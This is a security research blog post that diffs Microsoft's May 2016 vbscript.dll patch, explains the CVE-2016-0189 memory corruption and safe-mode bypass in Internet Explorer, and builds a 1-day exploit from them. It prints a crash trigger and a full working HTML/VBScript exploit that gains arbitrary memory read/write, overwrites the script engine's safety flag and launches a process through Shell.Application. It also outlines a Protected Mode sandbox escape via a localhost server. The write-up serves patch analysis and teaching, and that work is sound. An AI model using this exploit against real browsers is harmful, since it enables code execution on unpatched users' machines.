Last month, Microsoft released the MS16-051 security bulletin for their monthly Patch Tuesday (May 2016) security updates. It addressed vulnerabilities that affected Internet Explorer, including the Scripting Engine Memory Corruption Vulnerability (CVE-2016-0189), which was used in targeted attacks in South Korea[1].

Today, we are going to analyze the patch, figure out what the vulnerability was, and finally construct a proof-of-concept exploit.

Patched vs Unpatched

We used BinDiff to diff the patched and unpatched versions of vbscript.dll. Only a few functions were changed in this patch, as we can see in the screenshot below.


The most suspicious change seems to be in AccessArray function. Let’s examine that function in IDA:

April vs. May

Notice the difference? The patch added the lock on the array before the code accesses it. Other than the code added to release the lock in error cases, no other modifications to this function were made.

Next thing to look at is security/safety policy related functions like IsUnsafeAllowed.

April vs. May


Again, it’s quite obvious what changed here. Before the patch, IsUnsafeAllowed calls a function that always returns zero without examining the policies, whereas the patched code now calls a function pointer that’s located at QueryProtectedPolicyPtr. The InitializeProtectedPolicy function initializes the function pointer using GetProcAddress.

Analysis

We have identified two vulnerabilities that were fixed with this patch. Let’s see if we can use them to craft an exploit.

Vulnerability #1 - Missing a SafeArray lock in AccessArray

Given the patch inserted code to lock the array, it means that the attacker could somehow modify the array in the middle of accessing it such that the assumptions about the array properties (such as cDims or cbElements) mismatch.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
...
  while ( 1 )
  {
    curVar = VAR::PvarCutAll(curVar_);
    if ( VT_I2 == curVar->vt )
    {
      v14 = curVar->iVal;
    }
    else if ( VT_I4 == curVar->vt )
    {
      v14 = curVar->lVal;
    }
    else
    {
      v22 = 0;
      v18 = rtVariantChangeTypeEx(curVar, &v22, 0x400, 2, 3u, v20, v21);
      if ( v18 < 0 )
        return CScriptRuntime::RecordHr(a4, v18, v19, v20, v21);
      v14 = v23;
    }
    v15 = v14 - v25->lLbound;                   // lLbound is always 0
    if ( v15 < 0 || v15 >= v25->cElements )
      return CScriptRuntime::RecordHr(a4, 0x8002000B, v25, v20, v21);
    numDim = (numDim - 1);
    idx = v15 + v11;
    if ( numDim <= 0 )
      break;
    ++v25;
    v11 = v25->cElements * idx;
    curVar_ = (a4 + 16);
    a4 = (a4 + 16);
  }
  *v24 = arr->pvData + idx * arr->cbElements;   // cbElements == 16
...

In the main loop, the code starts from the right-most dimension of the array indices and computes the data pointer given the indices. Note that if the variant type for the index is either VT_I2 or VT_I4, the values are read in straight as a short and a long, respectively. However, for any other variant types, rtVariantChangeTypeEx is called to evaluate the index. When given a javascript object to this function, it retrieves the value by eventually calling valueOf of the target object. By providing an object that has a valueOf function of our choice, we can run arbitrary vbscript or javascript code inside of rtVariantChangeTypeEx.

1
2
3
4
5
6
7
// exploit & triggerBug are defined in vbscript
var o;
o = {"valueOf": function () {
        triggerBug();
        return 1;
    }};
setTimeout(function() {exploit(o);}, 50);

We can use this to resize the array we are currently indexing! For example, imagine we have a 2-D array with the following dimensions:

1
ReDim Preserve A(1, 2000)

Then, when we access the array like A(1, 2), the idx in AccessArray function will be computed as 1 + (2 * (2 - 0)), which is 5. This gets multiplied by cbElements which is always sizeof(VARIANT) = 16 because arrays in vbscript hold variants: 80. Finally this is added to the data pointer (pvData) to return the data pointed by A(1, 2).

Normally this isn’t an issue because the allocated buffer is about 16 * 2 * 2001 == 64032 bytes. However, this offset becomes out-of-bound if the buffer gets resized to a smaller one. In other words, we can access A(1, 2) when the array is defined as A(1, 1).

By overlapping free’d memory after the array resize with our exploit string, we can craft vbscript strings and variants to achieve an out-of-bound read/write primitive. This allows us to get the address of an object, read memory at an address, and write memory at an address by repeatedly triggering the bug.

Vulnerability #2 - IsUnsafeAllowed bypass

Before the patch, IsUnsafeAllowed function would always return 1 because COleScript::OnEnterBreakPoint is a dummy function that always returns 0. With the patch, it is fixed to properly exeucte QueryProtectedPolicy if it is available on the system (only supported Windows 8.1 and above).

SafeMode bypass with vulnerability #1 & #2

Internet Explorer, by default, prevents running scripts that may be harmful to the system. It checks with InSafeMode function, where the safe mode flag is verified (default flag is 0xE) as well as the check for the unsafe extensions (such as “Shell.Application”) happens. Fortunately, we know that IsUnsafeAllowed will always return true and we can change the value of the flag by exploiting vulnerability #1.

However, this does not overcome the Protected Mode (sandbox) of the Internet Explorer. Look at Exploit section to see how to escape the sandbox and run code as Medium integrity.

Trigger PoC

The following example crashes Internet Explorer with an access violation due to accessing memory that is no longer valid. The size of the second dimension of the array is changed to a much smaller value in the middle of accessing the array.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
<html>
<meta http-equiv="x-ua-compatible" content="IE=10">
<body>
    <script type="text/vbscript">
        Dim aw

        Class ArrayWrapper
            Dim A()
            Private Sub Class_Initialize
                ReDim Preserve A(1, 20000)
            End Sub
            Public Sub Resize()
                ReDim Preserve A(1, 1)
            End Sub
        End Class

        Function crash (arg1)
            Set aw = New ArrayWrapper
            MsgBox aw.A(arg1, 20000)
        End Function

        Function triggerBug
            aw.Resize()
        End Function
    </script>

    <script type="text/javascript">
        alert(1);
        var o = {"valueOf": function () { triggerBug(); return 1; }};
        setTimeout(function() {crash(o);}, 50);
    </script>
</body>
</html>

Exploit

Arbitrary read/write primitives are very powerful in exploitation. In order to make the exploit more readable, we made the operations into nice functions:

  • getAddr: Triggers the bug and “sprays” the object we want to get the address of, then searches in memory to find its address.
  • leakMem: Triggers the bug and reads the memory content at a given address.
  • overwrite: Triggers the bug and overwrites memory at a given address with CSng(0) (single-precision 0) variant – suitable for our purpose to obtain “GodMode”[2] by changing the flag to 0x04.

With these operations, we can do the following:

  1. Create a (dummy) VBScriptClass instance.
  2. Get the address of the class instance.
  3. Leak CSession address from the class instance.
  4. Leak COleScript address from the CSession instance.
  5. Overwrite SafetyOption in COleScript

Here’s the final exploit to gain the “GodMode” in Internet Explorer 11 on Windows 10:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
<html>
<head>
<meta http-equiv="x-ua-compatible" content="IE=10">
</head>
<body>
    <script type="text/vbscript">
        Dim aw
        Dim plunge(32)
        Dim y(32)
        prefix = "%u4141%u4141"
        d = prefix & "%u0016%u4141%u4141%u4141%u4242%u4242"
        b = String(64000, "D")
        c = d & b
        x = UnEscape(c)

        Class ArrayWrapper
            Dim A()
            Private Sub Class_Initialize
                ' 2x2000 elements x 16 bytes / element = 64000 bytes
                ReDim Preserve A(1, 2000)
            End Sub

            Public Sub Resize()
                ReDim Preserve A(1, 1)
            End Sub
        End Class

        Class Dummy
        End Class

        Function getAddr (arg1, s)
            aw = Null
            Set aw = New ArrayWrapper

            For i = 0 To 32
                Set plunge(i) = s
            Next

            Set aw.A(arg1, 2) = s

            Dim addr
            Dim i
            For i = 0 To 31
                If Asc(Mid(y(i), 3, 1)) = VarType(s) Then
                    addr = strToInt(Mid(y(i), 3 + 4, 2))
                End If
                y(i) = Null
            Next

            If addr = Null Then
                document.location.href = document.location.href
                Return
            End If

            getAddr = addr
        End Function

        Function leakMem (arg1, addr)
            d = prefix & "%u0008%u4141%u4141%u4141"
            c = d & intToStr(addr) & b
            x = UnEscape(c)

            aw = Null
            Set aw = New ArrayWrapper

            Dim o
            o = aw.A(arg1, 2)

            leakMem = o
        End Function

        Sub overwrite (arg1, addr)
            d = prefix & "%u400C%u0000%u0000%u0000"
            c = d & intToStr(addr) & b
            x = UnEscape(c)

            aw = Null
            Set aw = New ArrayWrapper

            ' Single has vartype of 0x04
            aw.A(arg1, 2) = CSng(0)
        End Sub

        Function exploit (arg1)
            Dim addr
            Dim csession
            Dim olescript
            Dim mem

            ' Create a vbscript class instance
            Set dm = New Dummy
            ' Get address of the class instance
            addr = getAddr(arg1, dm)
            ' Leak CSession address from class instance
            mem = leakMem(arg1, addr + 8)
            csession = strToInt(Mid(mem, 3, 2))
            ' Leak COleScript address from CSession instance
            mem = leakMem(arg1, csession + 4)
            olescript = strToInt(Mid(mem, 1, 2))
            ' Overwrite SafetyOption in COleScript (e.g. god mode)
            ' e.g. changes it to 0x04 which is not in 0x0B mask
            overwrite arg1, olescript + &H174

            ' Execute notepad.exe
            Set Object = CreateObject("Shell.Application")
            Object.ShellExecute "notepad"
        End Function

        Function triggerBug
            ' Resize array we are currently indexing
            aw.Resize()

            ' Overlap freed array area with our exploit string
            Dim i
            For i = 0 To 32
                ' 24000x2 + 6 = 48006 bytes
                y(i) = Mid(x, 1, 24000)
            Next
        End Function
    </script>

    <script type="text/javascript">
        function strToInt(s)
        {
            return s.charCodeAt(0) | (s.charCodeAt(1) << 16);
        }
        function intToStr(x)
        {
            return String.fromCharCode(x & 0xffff) + String.fromCharCode(x >> 16);
        }
        var o;
        o = {"valueOf": function () {
                triggerBug();
                return 1;
            }};
        setTimeout(function() {exploit(o);}, 50);
    </script>
</body>
</html>

Obligatory screenshot:

Are we all done now? Unfortunately, no.

Some of you may wonder why we don’t pop up a calc.exe like others. It isn’t because we wanted to be unique. The reason is that even with the SafeMode bypass, the Protected Mode (sandbox) filters what things are allowed to be executed (via WinExec or CreateProcess) from the Internet Explorer process.

Under HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Internet Explorer\Low Rights\ElevationPolicy, there are bunch of registry keys with values that describe the elevation policy that the Protected Mode should follow for a specific broker. You can read more about Protected Mode and its policies here. Important bit here is that the list does not have any rule specified for calc.exe, which means that the default policy will be applied – prompt the user for permission before spawning a Medium integrity process.

Starting with Windows 8.1, the calculator app is Modern and runs under AppContainer, but we can still test this by trying to spawn wordpad.exe (which is not listed under the policy registry).

Only when the user clicks “Allow”, it spawns the Wordpad application under Medium integrity.

While the above proof-of-concept exploit proves that we can get unsafe vbscript code execution, just being able to run Medium integrity “notepad” isn’t all that useful.

So, is there a way to get arbitrary code execution on the system with Medium integrity?

A couple years ago, Zero Day Initiative reported this bug to Microsoft which did “not meet the bar for security servicing” according to the vendor. We can still use this trick to get arbitrary code execution as Medium integrity process from a Protected Mode process. The concept is well described in ZDI’s blog post, but the basic idea is to open up a local server from the Low integrity IE process that serves the second stage exploit. Due to Internet Explorer’s default behavior where the Intranet is trusted and localhost is part of the Intranet, it spawns Medium integrity process for the tab browsing localhost. Then, we can exploit the same vulnerability to get script/code execution but this time under Medium integrity.

ZDI-14-270 (from ZDI blog)


We used some parts from this PoC to demonstrate the sandbox escape.

You can find our final exploit code and files in our GitHub repo: https://github.com/theori-io/cve-2016-0189

We hope you enjoyed reading about constructing a “1-day” exploit from security patches. It is definitely a fun exercise to do, and sometimes gives you an insight about bugs & bug types that you haven’t looked at or considered.

We will talk about another IE bug that was patched last week next time. Stay tuned for a jscript bug and exploitation!

Thanks for reading :)

Comments